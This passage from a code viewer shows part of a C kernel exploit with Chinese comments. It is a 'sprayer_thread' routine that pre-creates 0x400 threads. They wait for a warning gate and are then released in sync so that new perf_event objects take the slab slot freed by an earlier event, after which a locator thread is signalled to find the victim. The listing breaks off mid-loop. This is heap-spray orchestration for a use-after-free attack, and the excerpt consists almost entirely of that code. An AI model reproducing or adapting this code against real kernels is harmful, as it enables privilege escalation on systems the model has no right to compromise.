[2] T4 Sprayer 线程 (CPU 1): 堆喷 orchestrator 预创建 SPRAY_B_COUNT 个线程,等待 WARNING gate 打开后同步释放, 用新的 perf_event (事件 B) 占据事件 A 释放的 slab slot。 完成后通过 sync_pipe 通知 Locator 线程进行受害者识别。
| 1822 | // 用新的 perf_event (事件 B) 占据事件 A 释放的 slab slot。 |
| 1823 | // 完成后通过 sync_pipe 通知 Locator 线程进行受害者识别。 |
| 1824 | void *sprayer_thread(void *arg) |
| 1825 | { |
| 1826 | bind_to_cpu(1); |
| 1827 | int gate_opened = 0; |
| 1828 | uint64_t wait_start_ns; |
| 1829 | uint64_t now_ns; |
| 1830 | int open_done; |
| 1831 | |
| 1832 | for (int i = 0; i < SPRAY_B_COUNT; i++) |
| 1833 | spray_b_fds[i] = -1; |
| 1834 | |
| 1835 | // 重置 spray 统计变量 |
| 1836 | __atomic_store_n(&tp_first_spray_alloc_ns, 0, __ATOMIC_RELEASE); |
| 1837 | __atomic_store_n(&tp_first_spray_alloc_idx, -1, __ATOMIC_RELEASE); |
| 1838 | __atomic_store_n(&tp_spray_open_done, 0, __ATOMIC_RELEASE); |
| 1839 | |
| 1840 | // 初始化 barrier: SPRAY_B_COUNT 个 spray 线程 + 1 个 orchestrator |
| 1841 | pthread_barrier_init(&spray_start_barrier, NULL, SPRAY_B_COUNT + 1); |
| 1842 | |
| 1843 | // [2-1] 预创建0x400个 spray 子线程,它们在 barrier 处等待 |
| 1844 | for (int i = 0; i < SPRAY_B_COUNT; i++) { |
| 1845 | spray_args[i].index = i; |
| 1846 | spray_args[i].start_barrier = &spray_start_barrier; |
| 1847 | // [2-2] 分两个阶段错开分配:前128线程立即分配;剩余896线程等待一定时间后分配。 |
| 1848 | pthread_create(&spray_threads[i], NULL, single_spray_thread, &spray_args[i]); // 子线程中分配,等待通知。前128个立即分配,后面需等待间隔时间 |
| 1849 | } |
| 1850 | |
| 1851 | log_info("[2-2] [Spray Event] precreated %d spray threads, waiting WARN gate...", SPRAY_B_COUNT); |
| 1852 | |
| 1853 | // 循环等待 WARNING gate 打开 (Worker 检测到 taint 后设置 gate=1) |
| 1854 | while (__atomic_load_n(&tp_spray_gate, __ATOMIC_ACQUIRE) == 0 && |
| 1855 | !stop_threads && !exit_threads) { |
| 1856 | usleep(1000); |
| 1857 | } |
| 1858 | |
| 1859 | if (__atomic_load_n(&tp_spray_gate, __ATOMIC_ACQUIRE) > 0 && |
| 1860 | !stop_threads && !exit_threads) |
| 1861 | gate_opened = 1; |
| 1862 | |
| 1863 | log_info("[2-2] [Spray Event] Release precreated spray threads (gate_opened=%d)...", gate_opened); |
| 1864 | // Gate 释放延迟: 精确控制 spray 开始时间 (70ms 延迟) |
| 1865 | if (gate_opened && TP_GATE_RELEASE_DELAY_NS > 0) |
| 1866 | tp_spin_delay_ns((uint64_t)TP_GATE_RELEASE_DELAY_NS); |
| 1867 | pthread_barrier_wait(&spray_start_barrier); |
| 1868 | |
| 1869 | // Gate 未打开时通知 locator 失败并退出 |
| 1870 | if (!gate_opened) { |
| 1871 | if (write(sync_pipe[1], "F", 1) != 1) |
| 1872 | log_warn("write sync_pipe failed"); |
| 1873 | goto out_join; |
| 1874 | } |
| 1875 | |
| 1876 | // 等待首次 spray 分配完成 (确保至少有一个事件 B 被分配) |
| 1877 | wait_start_ns = get_time_ns(); |
| 1878 | while (__atomic_load_n(&tp_first_spray_alloc_ns, __ATOMIC_ACQUIRE) == 0 && |
| 1879 | !stop_threads && !exit_threads) { |
| 1880 | now_ns = get_time_ns(); |
| 1881 | if (now_ns - wait_start_ns >= TP_SPRAY_FIRST_ALLOC_WAIT_NS) |
nothing calls this directly
no test coverage detected